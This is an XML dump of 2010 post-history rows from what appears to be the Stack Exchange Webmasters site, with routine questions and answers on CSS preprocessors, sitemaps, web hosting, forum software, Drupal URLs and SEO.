  <row Id="9657" PostHistoryTypeId="2" PostId="4877" RevisionGUID="554cf9ac-9e9b-48ae-b2d2-c49c83d7f45d" CreationDate="2010-11-02T19:57:20.493" UserId="1064" Text="On a *nix system you could use [syslog-ng][1] to store log messages on a dedicated log server for your load-balanced cluster(s) and then use a log analysis solution like [Splunk][2] to keep tabs on things - as for what the StackExchange sites actually run, may be a good question for [StackOverflow Meta][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Syslog-ng&#xD;&#xA;  [2]: http://www.splunk.com/&#xD;&#xA;  [3]: http://meta.stackoverflow.com/" />
  <row Id="9658" PostHistoryTypeId="2" PostId="4878" RevisionGUID="b9dd320a-3e6e-4db5-a766-14b639547cc5" CreationDate="2010-11-02T20:03:08.147" UserId="2821" Text="I was using Less CSS but it creates too much duplication. Each HTML page I have includes 3 different stylesheets; two are common to all the pages (IE-support and 960 grid system) and the third stylesheet is a custom one made for that page. With Less CSS it was duplicating all the CSS code from the 960 grid system into the third stylesheet.&#xD;&#xA;&#xD;&#xA;All I need are variables and functions/mixins/classes...basically a way to put duplicate CSS code in multiple spots." />
  <row Id="9659" PostHistoryTypeId="1" PostId="4878" RevisionGUID="b9dd320a-3e6e-4db5-a766-14b639547cc5" CreationDate="2010-11-02T20:03:08.147" UserId="2821" Text="Need a CSS framework that has variables and &quot;mixins&quot;" />
  <row Id="9660" PostHistoryTypeId="3" PostId="4878" RevisionGUID="b9dd320a-3e6e-4db5-a766-14b639547cc5" CreationDate="2010-11-02T20:03:08.147" UserId="2821" Text="&lt;css&gt;&lt;css-framework&gt;&lt;stylesheet&gt;" />
  <row Id="9662" PostHistoryTypeId="2" PostId="4879" RevisionGUID="12c97b35-f15f-4ef2-9d3a-26b4096c8311" CreationDate="2010-11-02T20:21:33.133" UserId="2730" Text="There are not enough words with which I can describe how awesome [SASS][1] is ... it is exactly what you are looking for. It even has a CSS3 compatibility mode, since most of the stuff was accepted into the standard (so you can use css3, and compile it into css2).&#xD;&#xA;&#xD;&#xA;And while you are investigating [SASS][1], take a look at [Compass][2] - it has ready templates that you can use as mixins for your styles. It includes the 960 system, YUI css, and many others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sass-lang.com/&#xD;&#xA;  [2]: http://compass-style.org" />
  <row Id="9663" PostHistoryTypeId="5" PostId="4879" RevisionGUID="1ac80a25-deec-4f8c-80b7-057bc34e84fb" CreationDate="2010-11-02T20:27:54.997" UserId="2730" Comment="deleted 91 characters in body" Text="There are not enough words with which I can describe how awesome [SASS][1] is ... it is exactly what you are looking for. It even has a CSS3 superset mode. It is almost god.&#xD;&#xA;&#xD;&#xA;And while you are investigating [SASS][1], take a look at [Compass][2] - it has ready templates that you can use as mixins for your styles. It includes the 960 system, YUI css, and many others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sass-lang.com/&#xD;&#xA;  [2]: http://compass-style.org" />
  <row Id="9664" PostHistoryTypeId="5" PostId="4879" RevisionGUID="60aeb49b-e724-43fb-90c0-30ae7788e760" CreationDate="2010-11-02T20:35:58.700" UserId="2730" Comment="added 16 characters in body" Text="There are not enough words with which I can describe how awesome [SASS][1] is ... it is exactly what you are looking for. It even has a CSS3 superset mode. It is almost god.&#xD;&#xA;&#xD;&#xA;And while you are investigating [SASS][1], take a look at [Compass][2] (based on sass) - it has ready templates that you can use as mixins for your styles. It includes the 960 system, YUI css, and many others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sass-lang.com/&#xD;&#xA;  [2]: http://compass-style.org" />
  <row Id="9665" PostHistoryTypeId="2" PostId="4880" RevisionGUID="86823454-1564-4524-aeec-6ba9e47c6f4a" CreationDate="2010-11-02T20:58:35.060" UserId="2964" Text="Hi you can check this web sites it has nice jquery slider http://webdesignledger.com/tutorials/13-super-useful-jquery-content-slider-scripts-and-tutorials" />
  <row Id="9666" PostHistoryTypeId="5" PostId="4872" RevisionGUID="576179b0-d4c7-4339-9406-005db4db4e1b" CreationDate="2010-11-02T21:05:42.137" UserId="138" Comment="added 26 characters in body; edited title" Text="I need a slider like [this one][1] . As you can see when it's on the last part, and is needed to show the first again, it scrolls fastly to the left. I want a slider that doesn't have this behavoir. What do you suggest? All I found do the same thing. If you can find a solution for the above slider I have an open question at [stackoverflow.com][2].&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://valogiannis.com/stackoverflow/scrollto/scrolltoexample.htm&#xD;&#xA;  [2]: http://stackoverflow.com/questions/4073704/jquery-scroll-fast-return" />
  <row Id="9667" PostHistoryTypeId="4" PostId="4872" RevisionGUID="576179b0-d4c7-4339-9406-005db4db4e1b" CreationDate="2010-11-02T21:05:42.137" UserId="138" Comment="added 26 characters in body; edited title" Text="Which jQuery slider do you suggest?" />
  <row Id="9668" PostHistoryTypeId="2" PostId="4881" RevisionGUID="e40b0285-71ea-41db-b76f-8b1e5529329b" CreationDate="2010-11-02T21:34:41.497" UserId="2965" Text="This was (first?) written about by [Randfish over at SEOmoz][1] back in the good old year of 2007.  The first time around he came to the same types of conclusions, but then time did it's thing... and passed.&#xD;&#xA;&#xD;&#xA;He has since (Jan 2009) added a postscript to the article stating that any possible downsides are simply outweighed by the overall positive results of generating, verifying, and submitting sitemaps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/expert-advice-on-google-sitemaps-verify-but-dont-submit" />
  <row Id="9669" PostHistoryTypeId="2" PostId="4882" RevisionGUID="cf185a05-8c32-4961-8d37-cde26c69c259" CreationDate="2010-11-02T21:44:05.073" UserDisplayName="Calsy" Text="Im currently shopping around for a web host for our website we are hoping to release in the near future.&#xD;&#xA;&#xD;&#xA;This is my first real step into this area. Just wondering what I should be looking for. It is an ASP.net MVC website with an MS SQL Server backend. I need to know that the server will not buckle if the traffic booms.&#xD;&#xA;&#xD;&#xA;Currently im looking at a managed dedicated server from singlehop. Does anyone know any better or have any advice.&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="9670" PostHistoryTypeId="1" PostId="4882" RevisionGUID="cf185a05-8c32-4961-8d37-cde26c69c259" CreationDate="2010-11-02T21:44:05.073" UserDisplayName="Calsy" Text="High Traffic Web Host Solution?" />
  <row Id="9671" PostHistoryTypeId="3" PostId="4882" RevisionGUID="cf185a05-8c32-4961-8d37-cde26c69c259" CreationDate="2010-11-02T21:44:05.073" UserDisplayName="Calsy" Text="&lt;traffic&gt;&lt;asp.net-mvc&gt;&lt;web-hosting&gt;" />
  <row Id="9672" PostHistoryTypeId="2" PostId="4883" RevisionGUID="46c1ebbd-6704-44c5-905d-5ffe240c27bf" CreationDate="2010-11-02T22:14:57.397" UserId="2379" Text="You could build this in to your existing scripting.&#xD;&#xA;When a new vistor goes to your site, have your script (php, asp, ruby) request the vistors ip.  Then each time they click on an actual lyric detail then you would log that into a database also..  This way you can tell exactly who is clicking what.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9673" PostHistoryTypeId="2" PostId="4884" RevisionGUID="6c86d271-c3eb-4903-9b2a-a30514ba62f5" CreationDate="2010-11-02T22:19:10.013" UserId="2379" Text="If you own your own server you can colocate it for about $100 per month.  That includes 10mbps burstable up to 100mbps.   Check out calpop.com (in los angeles)&#xD;&#xA;&#xD;&#xA;if you dont own your hardware look into rackspace cloud hosting for windows.  They charge you based on actual compute cycles, storage and bandwith.  They also include CDN with this service meaning that your site in multiple locations in the USA making it considerably faster.&#xD;&#xA;&#xD;&#xA;With the VPS hosting (Rackspace cloud) you will have access to your server through remote desktop RDP.  &#xD;&#xA;&#xD;&#xA;Colocated is cheaper, but requires an investment of hardware up front ($750 -$5k) and harware updates are a bit harder since you dont have access to the server, but at CALPOP they do it for you for an hourly fee... " />
  <row Id="9674" PostHistoryTypeId="5" PostId="4879" RevisionGUID="68d2bb78-5065-4943-bc62-078060c7864c" CreationDate="2010-11-02T23:23:19.913" UserId="2730" Comment="added 15 characters in body" Text="There are not enough words with which I can describe how awesome [SASS][1] is ... it is exactly what you are looking for. It even has a CSS3 superset mode. It is almost god.&#xD;&#xA;&#xD;&#xA;And while you are investigating [SASS][1], take a look at [Compass][2] (based on sass) - it has ready templates that you can use as mixins for your styles. It includes 960, Blueprint, YUI, and many others (some via plugins).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sass-lang.com/&#xD;&#xA;  [2]: http://compass-style.org" />
  <row Id="9675" PostHistoryTypeId="2" PostId="4885" RevisionGUID="11e1ddfe-00dd-4a2a-9b74-aadea07e863a" CreationDate="2010-11-03T00:18:09.970" UserDisplayName="dan" Text="A well constructed site doesn't need a sitemap although it can assist with our coverage and ranking and adds a little extra value such as priority, update frequency, etc. You can tell a search engine hey...I've updated this page somewhere in the middle of my site without requiring a full crawl. I've never looked at the crawl patterns but one would hope it helped.&#xD;&#xA;&#xD;&#xA;Having said that the real plus for me is the webmaster tools and the insight it gives you into your website visibility and your users." />
  <row Id="9676" PostHistoryTypeId="2" PostId="4886" RevisionGUID="73582e2b-dd5c-4151-8c4d-59d6a9854e33" CreationDate="2010-11-03T00:21:05.240" UserId="2288" Text="&#xD;&#xA;**Currently links, images, files, etc.**&#xD;&#xA;&#xD;&#xA;    http://1.1.1.1/drupal/../&lt;resource_name.ext&gt;&#xD;&#xA;&#xD;&#xA;**Is it possible to do:**&#xD;&#xA;&#xD;&#xA;    /../&lt;resource_name.ext&gt;&#xD;&#xA;&#xD;&#xA;If the questions is not clear, just let me know. Thanks!" />
  <row Id="9677" PostHistoryTypeId="1" PostId="4886" RevisionGUID="73582e2b-dd5c-4151-8c4d-59d6a9854e33" CreationDate="2010-11-03T00:21:05.240" UserId="2288" Text="Are all URLs in Drupal in the &quot;body&quot; of &quot;pages&quot; hardcode, or is there a way to localize them? " />
  <row Id="9678" PostHistoryTypeId="3" PostId="4886" RevisionGUID="73582e2b-dd5c-4151-8c4d-59d6a9854e33" CreationDate="2010-11-03T00:21:05.240" UserId="2288" Text="&lt;drupal&gt;&lt;url&gt;" />
  <row Id="9679" PostHistoryTypeId="2" PostId="4887" RevisionGUID="1433a9fe-44ae-4b7d-b27a-6b4814af04aa" CreationDate="2010-11-03T00:21:16.597" UserDisplayName="dan" Text="I used to use xml-sitemaps but recently found : &#xD;&#xA;http://www.xmlsitemapgenerator.org&#xD;&#xA;This has quite a lot more options and also has a  handy ping function.&#xD;&#xA;they did disable the advanced features for a while and limited the number of pages, but they seem to be back now, although the limit is 50 pages. maybe if you ask nicely they will increase it!" />
  <row Id="9680" PostHistoryTypeId="2" PostId="4888" RevisionGUID="3ead35e1-5210-4288-990b-dc3fce227dbb" CreationDate="2010-11-03T00:23:21.477" UserId="2288" Text="&quot;It doesn't really relate to SEO. It's just a (possibly) useful search tool. – John Conde♦ 2 days ago&quot;" />
  <row Id="9684" PostHistoryTypeId="2" PostId="4892" RevisionGUID="37c9e170-39fd-4f21-81d0-3e2aedd79de4" CreationDate="2010-11-02T22:44:52.583" UserDisplayName="Resorath" Text="By far I would say [PhpBB3][1], it has a bunch of user generated themes and addons, as well as an active development team working on enhancements and security updates. It is very simple to install and very robust in features. As the name implies, runs with PHP and uses MySQL (as well as a few others).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phpbb.com/" />
  <row Id="9685" PostHistoryTypeId="2" PostId="4893" RevisionGUID="226aab01-dbd9-42e6-ab70-721151663efb" CreationDate="2010-11-02T22:50:45.460" UserDisplayName="DexterDTG" Text="This depends on your list of requirements but [PHPBB][1] has always work well for me the the past.&#xD;&#xA;&#xD;&#xA;It installs easily, doesn't use too many resources and is easy to customize and extend.&#xD;&#xA;&#xD;&#xA;If you are after something smaller/lightweight SMF is probably a better option: [LINK][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phpbb.com/&#xD;&#xA;  [2]: http://www.simplemachines.org/" />
  <row Id="9686" PostHistoryTypeId="2" PostId="4894" RevisionGUID="b4a44d24-beaf-4cf0-a1ed-7732838947f5" CreationDate="2010-11-02T23:16:55.837" UserId="2313" Text="We use PHPBB3 on Windows servers, that works great as well." />
  <row Id="9687" PostHistoryTypeId="2" PostId="4891" RevisionGUID="0d105166-d0f8-40c0-a575-fb1aa05393cb" CreationDate="2010-11-02T22:24:49.747" UserDisplayName="I.T. Support" Text="Either php/mysql or aspx/sql&#xD;&#xA;&#xD;&#xA;I checked out a similar thread but there weren't any real answers...&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="9688" PostHistoryTypeId="1" PostId="4891" RevisionGUID="0d105166-d0f8-40c0-a575-fb1aa05393cb" CreationDate="2010-11-02T22:24:49.747" UserDisplayName="I.T. Support" Text="What's the best free forum software out there right now?" />
  <row Id="9689" PostHistoryTypeId="3" PostId="4891" RevisionGUID="0d105166-d0f8-40c0-a575-fb1aa05393cb" CreationDate="2010-11-02T22:24:49.747" UserDisplayName="I.T. Support" Text="&lt;aspx&gt;&lt;websites&gt;" />
  <row Id="9690" PostHistoryTypeId="17" PostId="4891" RevisionGUID="e585dbad-61d7-403b-b8f2-095ad3a1b6d2" CreationDate="2010-11-03T01:03:19.103" UserId="-1" Comment="from http://serverfault.com/questions/197479/whats-the-best-free-forum-software-out-there-right-now" Text="" />
  <row Id="9691" PostHistoryTypeId="2" PostId="4895" RevisionGUID="43258e56-9079-4200-8775-42a3c2f2f013" CreationDate="2010-11-03T02:36:34.310" UserId="1279" Text="This is very subjective. Different people have different tastes hence varying favorites. For me, it is [Vanilla Forums][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vanillaforums.org/" />
  <row Id="9698" PostHistoryTypeId="6" PostId="4663" RevisionGUID="a4875350-09e8-4507-9621-e737d97f575e" CreationDate="2010-11-03T03:05:23.833" UserId="1079" Comment="edited tags" Text="&lt;theme&gt;&lt;google-apps&gt;&lt;google-sites&gt;" />
  <row Id="9699" PostHistoryTypeId="2" PostId="4897" RevisionGUID="d3a3a546-540f-47d2-a8a6-ea4eb7fb16aa" CreationDate="2010-11-03T04:14:22.760" UserDisplayName="Louis Stephens" Text="I have two ul's (.listone and .listtwo respectfully) floated left and the other right. The list-style:circle; works in every browser except for ie7 =&lt; . In ie7 the list-style is just ignored. How can I fix this?" />
  <row Id="9700" PostHistoryTypeId="1" PostId="4897" RevisionGUID="d3a3a546-540f-47d2-a8a6-ea4eb7fb16aa" CreationDate="2010-11-03T04:14:22.760" UserDisplayName="Louis Stephens" Text="ie7 killing list-style on floated ul's" />
  <row Id="9701" PostHistoryTypeId="3" PostId="4897" RevisionGUID="d3a3a546-540f-47d2-a8a6-ea4eb7fb16aa" CreationDate="2010-11-03T04:14:22.760" UserDisplayName="Louis Stephens" Text="&lt;css&gt;" />
  <row Id="9702" PostHistoryTypeId="2" PostId="4898" RevisionGUID="e71ffd80-31e6-4465-8cd4-0420222e9ece" CreationDate="2010-11-03T07:32:16.137" UserId="2748" Text="I think you should stick to `&lt;ul type=&quot;circle&quot;&gt;`" />
  <row Id="9703" PostHistoryTypeId="2" PostId="4899" RevisionGUID="5265debc-5d42-46bf-a83f-25983aad6651" CreationDate="2010-11-03T07:52:14.010" UserId="2011" Text="My preferred method to insert files and images in body text is to use the combination of the [Filefield][1], [Imagefield][2] and [Insert][3] modules. Filefield allows you to attach files to nodes in a separate field. Imagefield adds image handling to filefields. Insert allows you to insert the uploaded file or image into your body text.&#xD;&#xA;&#xD;&#xA;A huge advantage to this method is that you store your attached files and images as separate fields. That means that you can also access the files and images from the Views module.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/filefield&#xD;&#xA;  [2]: http://drupal.org/project/imagefield&#xD;&#xA;  [3]: http://drupal.org/project/insert" />
  <row Id="9704" PostHistoryTypeId="2" PostId="4900" RevisionGUID="a1fb0694-7553-41e3-9787-98d6adec90a9" CreationDate="2010-11-03T08:31:39.127" UserDisplayName="beytz" Text="Instead of blogging in order to promote my site, I decided to form supporting professional sites. Each site is related to a specific keyword that I would like to promote on my main site.&#xD;&#xA;&#xD;&#xA;My question is when should I add links from the supporting professional sites to my main site? Should I wait till the new sites will have PR?&#xD;&#xA;&#xD;&#xA;My main fear is that the links from the new sites will damage my main site and reduce its PR...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="9705" PostHistoryTypeId="1" PostId="4900" RevisionGUID="a1fb0694-7553-41e3-9787-98d6adec90a9" CreationDate="2010-11-03T08:31:39.127" UserDisplayName="beytz" Text="When should I accept links from other sites (SEO wise)?" />
  <row Id="9706" PostHistoryTypeId="3" PostId="4900" RevisionGUID="a1fb0694-7553-41e3-9787-98d6adec90a9" CreationDate="2010-11-03T08:31:39.127" UserDisplayName="beytz" Text="&lt;seo&gt;&lt;google&gt;&lt;web-development&gt;&lt;links&gt;" />
  <row Id="9707" PostHistoryTypeId="5" PostId="4827" RevisionGUID="77dbe1f4-5abc-4642-9bb9-2a1c65e617b1" CreationDate="2010-11-03T09:19:38.460" UserId="2290" Comment="format" Text="if you care about this topic, please read this great google papar http://googlewebmastercentral.blogspot.com/2009/04/research-study-of-sitemaps.html ( april 2009 ) - read the complete paper, not only the blogpost.&#xD;&#xA;&#xD;&#xA;from the paper&#xD;&#xA;&#xD;&#xA; * ok, basically google struggled with the same question.&#xD;&#xA; * they do not disclose how they determine value within the sitemap, but they mention the concept of a virtual link from the start page to the sitemap.&#xD;&#xA; * lots of other interesting stuff&#xD;&#xA;&#xD;&#xA;but yeah, the sitemap is mostly used for discovery (the process of google discovering your stuff), not for value determination. if you struggle with discovery, use a sitemap. discovery is a precondition to crawling, but does not touch value determination. &#xD;&#xA;&#xD;&#xA;from my experience&#xD;&#xA;&#xD;&#xA; * there are a sh*tload of sites that just use HTML and XML sitemaps for interlinking of their pages&#xD;&#xA; * and of these, the XML sitemap is much much much better crawled then HTML sitemap. (i took a really good look at some really big ones)&#xD;&#xA; * there are even very successful sites that just use XML sitemap.&#xD;&#xA;&#xD;&#xA;when i implement a SEO strategy for a site with more than half a million pages i go for&#xD;&#xA;&#xD;&#xA; * landingpages&#xD;&#xA; * sitemap.xml&#xD;&#xA; * start page&#xD;&#xA;everything else is just &quot;balast&quot; - yeah, other stuff might have positive SEO value, but definitely has a negative value: it makes the site harder to manage. (p.s.: for value determination i interlink the landingpages in a sensemaking way (big impact), but thats already the second step).&#xD;&#xA;&#xD;&#xA;about your question: please do not confuse discovery, crawling, indexing and ranking. you can track all of them separately, and you can optimize all of them separately. and you can enhance enhance discovery and crawling in a major way with a great (i.e.: real time) sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="9708" PostHistoryTypeId="5" PostId="4827" RevisionGUID="b19495a8-7b0b-43f5-b0fa-fbb23ee47f32" CreationDate="2010-11-03T09:26:27.453" UserId="2290" Comment="edited body" Text="if you care about this topic, please read this great google paper http://googlewebmastercentral.blogspot.com/2009/04/research-study-of-sitemaps.html ( april 2009 ) - read the complete paper, not only the blogpost.&#xD;&#xA;&#xD;&#xA;from the paper&#xD;&#xA;&#xD;&#xA; * ok, basically google struggled with the same question.&#xD;&#xA; * they do not disclose how they determine value within the sitemap, but they mention the concept of a virtual link from the start page to the sitemap.&#xD;&#xA; * lots of other interesting stuff&#xD;&#xA;&#xD;&#xA;but yeah, the sitemap is mostly used for discovery (the process of google discovering your stuff), not for value determination. if you struggle with discovery, use a sitemap. discovery is a precondition to crawling, but does not touch value determination. &#xD;&#xA;&#xD;&#xA;from my experience&#xD;&#xA;&#xD;&#xA; * there are a sh*tload of sites that just use HTML and XML sitemaps for interlinking of their pages&#xD;&#xA; * and of these, the XML sitemap is much much much better crawled then HTML sitemap. (i took a really good look at some really big ones)&#xD;&#xA; * there are even very successful sites that just use XML sitemap.&#xD;&#xA;&#xD;&#xA;when i implement a SEO strategy for a site with more than half a million pages i go for&#xD;&#xA;&#xD;&#xA; * landingpages&#xD;&#xA; * sitemap.xml&#xD;&#xA; * start page&#xD;&#xA;everything else is just &quot;balast&quot; - yeah, other stuff might have positive SEO value, but definitely has a negative value: it makes the site harder to manage. (p.s.: for value determination i interlink the landingpages in a sensemaking way (big impact), but thats already the second step).&#xD;&#xA;&#xD;&#xA;about your question: please do not confuse discovery, crawling, indexing and ranking. you can track all of them separately, and you can optimize all of them separately. and you can enhance enhance discovery and crawling in a major way with a great (i.e.: real time) sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="9709" PostHistoryTypeId="2" PostId="4901" RevisionGUID="216e990b-c003-4dea-8b9a-c578f19ec982" CreationDate="2010-11-03T09:55:14.463" UserId="1424" Text="I'm buying a SSL certificate online for the first time.&#xD;&#xA;&#xD;&#xA;I have this option...&#xD;&#xA;&#xD;&#xA;Include your registrant information in third party Bulk Whois requests? &#xD;&#xA;&#xD;&#xA;What does it exactly mean ?&#xD;&#xA;What's Buil Whois and what should I answer ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="9710" PostHistoryTypeId="1" PostId="4901" RevisionGUID="216e990b-c003-4dea-8b9a-c578f19ec982" CreationDate="2010-11-03T09:55:14.463" UserId="1424" Text="Do you want to include your registrant information in third party Bulk Whois requests? " />
  <row Id="9711" PostHistoryTypeId="3" PostId="4901" RevisionGUID="216e990b-c003-4dea-8b9a-c578f19ec982" CreationDate="2010-11-03T09:55:14.463" UserId="1424" Text="&lt;ssl&gt;" />
  <row Id="9712" PostHistoryTypeId="2" PostId="4902" RevisionGUID="58a79659-76d4-4bb3-861a-d947c1f2a955" CreationDate="2010-11-03T10:24:18.720" UserId="233" Text="First, links can only increase your PageRank, not decrease it. But the potential problem here is that the new sites could be seen as spam, thus reducing their effect. It should also be noted that a handful of links, while helpful, is only a minor benefit.&#xD;&#xA;&#xD;&#xA;However, if you do go down this route you are much better off building up a solid site first, before linking back to your main site. You don't have to wait until Google updates its PR toolbar but you'd need a couple of months.&#xD;&#xA;&#xD;&#xA;Of course, if you are not careful this could become cyclical - now you need to increase the popularity/value of the second site to make the links worthwhile!" />
  <row Id="9713" PostHistoryTypeId="2" PostId="4903" RevisionGUID="bf41fe9b-614a-4f6e-92a6-961b8f990366" CreationDate="2010-11-03T10:28:45.610" UserId="233" Text="This is a very subjective question, but the three most popular forum apps are:&#xD;&#xA;&#xD;&#xA;* [phpBB][1]&#xD;&#xA;* [vBulletin][2]&#xD;&#xA;* [SMF][3]&#xD;&#xA;&#xD;&#xA;I have also heard good things about [bbPress][4], which is forum software based on the Wordpress core.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phpbb.com/&#xD;&#xA;  [2]: http://www.vbulletin.com/&#xD;&#xA;  [3]: http://www.simplemachines.org/&#xD;&#xA;  [4]: http://bbpress.org/" />
  <row Id="9714" PostHistoryTypeId="5" PostId="4827" RevisionGUID="d76f1ca9-62c0-4abd-b0de-1dc334166860" CreationDate="2010-11-03T10:32:14.500" UserId="2290" Comment="added 2 characters in body" Text="if you care about this topic, please read this great google paper http://googlewebmastercentral.blogspot.com/2009/04/research-study-of-sitemaps.html ( april 2009 ) - read the complete paper, not only the blogpost.&#xD;&#xA;&#xD;&#xA;from the paper&#xD;&#xA;&#xD;&#xA; * ok, basically google struggled with the same question.&#xD;&#xA; * they do not disclose how they determine value within the sitemap, but they mention the concept of a virtual link from the start page to the sitemap.&#xD;&#xA; * lots of other interesting stuff&#xD;&#xA;&#xD;&#xA;but yeah, the sitemap is mostly used for discovery (the process of google discovering your stuff), not for value determination. if you struggle with discovery, use a sitemap. discovery is a precondition to crawling, but does not touch value determination. &#xD;&#xA;&#xD;&#xA;from my experience&#xD;&#xA;&#xD;&#xA; * there are a sh*tload of sites that just use HTML and XML sitemaps for interlinking of their pages&#xD;&#xA; * and of these, the XML sitemap is much much much better crawled then HTML sitemap. (i took a really good look at some really big ones)&#xD;&#xA; * there are even very successful sites that just use XML sitemap.&#xD;&#xA;&#xD;&#xA;when i implement a SEO strategy for a site with more than half a million pages i go for&#xD;&#xA;&#xD;&#xA; * landingpages&#xD;&#xA; * sitemap.xml&#xD;&#xA; * start page&#xD;&#xA;&#xD;&#xA;everything else is just &quot;balast&quot; - yeah, other stuff might have positive SEO value, but definitely has a negative value: it makes the site harder to manage. (p.s.: for value determination i interlink the landingpages in a sensemaking way (big impact), but thats already the second step).&#xD;&#xA;&#xD;&#xA;about your question: please do not confuse discovery, crawling, indexing and ranking. you can track all of them separately, and you can optimize all of them separately. and you can enhance enhance discovery and crawling in a major way with a great (i.e.: real time) sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="9715" PostHistoryTypeId="2" PostId="4904" RevisionGUID="ef0e2985-4bd7-4d1e-a560-f5e8e298e567" CreationDate="2010-11-03T10:39:53.527" UserDisplayName="Chris Clavel" Text="Hum ... Nevermind what can be read or said about SEO, what counts ? Results. Unfortunately, there are almost more so-caled &quot;SEO gurus&quot; than inhabitants in the USA. It tells you to what extent the answer could be if not wrong, totally diluted or partial.&#xD;&#xA;SEO is a structured science and &quot;savoir faire&quot; that does not rely on the Chaos Theory but rather on Search Engine Algorithms and best practices.&#xD;&#xA;Hence the importance of structuring a website, and a good CMS can help.&#xD;&#xA;There are more and more CMSs proposing SEo features and plug-ins, it proves the interest of CMS companies in the ever growing concern of people about building and running an SEO-friendly site with an SEO-friendly structure and environment.&#xD;&#xA;I would to suggest our readers and webmasters to have a look at an SEO-CMS called SEOTOASTER. No personal interest here, it's free and open-source.&#xD;&#xA;Among other interesting features (SEO or not), this SEO-CMS proposes online editing right off the site and page by page if you wish. When you want to edit the properties of a page, the system allows you to edit and align :&#xD;&#xA;&#xD;&#xA; - The H1 tag&#xD;&#xA; - The URL display&#xD;&#xA; - The Browser title display&#xD;&#xA; - The title display in the navigation&#xD;&#xA; - Page Teaser Text&#xD;&#xA; - Keywords&#xD;&#xA; - Meta Tags&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;All of this from a single page.&#xD;&#xA;&#xD;&#xA;We were discussing structured SEO, the way this SEO-CMS organizes pages is really made easy through a drag and drop panel (arrange and sort indifferently your pages or categories) from which you can also edit and alter the same Navigation display,  Keywords and H1.&#xD;&#xA;&#xD;&#xA;This system also enables the creation of silos of links java scripting out the rest of the site's links. &#xD;&#xA;&#xD;&#xA;And much more ...&#xD;&#xA;&#xD;&#xA;So it seams that all of these SEO routines might be possible without a CMS. But how long would it take ? How efficient would it be ? How structured would it be ?&#xD;&#xA;I think all CMSs are perfectible of course, but would a restaurant rather wash all its cutlery and plates by hand instead of using a dishwasher because sometimes there are still a few stains on a plate ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9716" PostHistoryTypeId="2" PostId="4905" RevisionGUID="d62c8be9-aed6-40e4-b32e-bbfed010c5b0" CreationDate="2010-11-03T10:44:04.007" UserId="233" Text="There are plugins for popular forum software that add voting capabilities. I know that this exists for vBulletin and I'm sure there are versions for phpBB and SMF.&#xD;&#xA;&#xD;&#xA;Though you ought to look at what you need this for - I mean, does the voting actually do anything? On the Stack Exchange platform, for example, the highest-voted answers bubble to the top. You can't do that in a regular forum setting because the posts are linear." />
  <row Id="9717" PostHistoryTypeId="2" PostId="4906" RevisionGUID="b72a699f-44fd-451e-98c6-ad8fc0480bf8" CreationDate="2010-11-03T10:49:05.760" UserId="540" Text="This might seem like a bit of overkill, but **[Splunk][1]** offers web log analyzing and *much, much* more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.splunk.com/" />
  <row Id="9718" PostHistoryTypeId="2" PostId="4907" RevisionGUID="e2d2750f-51b4-4c47-8d05-793ce398da9f" CreationDate="2010-11-03T11:01:48.610" UserId="233" Text="It's quite straightforward to use a server-side language to roll your own CSS framework. Here's a basic example in PHP:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    header('Content-Type: text/css');&#xD;&#xA;    $blue = '#00f';&#xD;&#xA;    $largeText = '24px';&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;    h1 {&#xD;&#xA;      font-size: &lt;?=$largeText?&gt;;&#xD;&#xA;      color: &lt;?=$blue?&gt;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;For mixins, you'd need to store the whole chunk of CSS in a string." />
  <row Id="9719" PostHistoryTypeId="2" PostId="4908" RevisionGUID="99e46b13-d5dd-435c-ba21-2c140926ec39" CreationDate="2010-11-03T11:03:09.093" UserId="2982" Text="I am looking for a new VPS for http://hotelpublisher.com. At the moment it is either linode.com, slicehost.com or vps.net (alternatives are welcome). Since I already use Google cloud to deliver data, my priority is ram/cpu/reliability/price. Can anyone advice which of the VPS providers is the best in their opinion and why?" />
  <row Id="9720" PostHistoryTypeId="1" PostId="4908" RevisionGUID="99e46b13-d5dd-435c-ba21-2c140926ec39" CreationDate="2010-11-03T11:03:09.093" UserId="2982" Text="linode.com/slicehost.com/vps.net what to chose?" />
  <row Id="9721" PostHistoryTypeId="3" PostId="4908" RevisionGUID="99e46b13-d5dd-435c-ba21-2c140926ec39" CreationDate="2010-11-03T11:03:09.093" UserId="2982" Text="&lt;web-hosting&gt;&lt;vps&gt;" />
  <row Id="9722" PostHistoryTypeId="2" PostId="4909" RevisionGUID="c50e6fa2-a966-4da1-87e7-d392cc7cad71" CreationDate="2010-11-03T11:13:33.823" UserId="2748" Text="Can SEO be the only major part in making a website good? Cmon there are lots of facts, design, functionality, user friendly, efficient." />
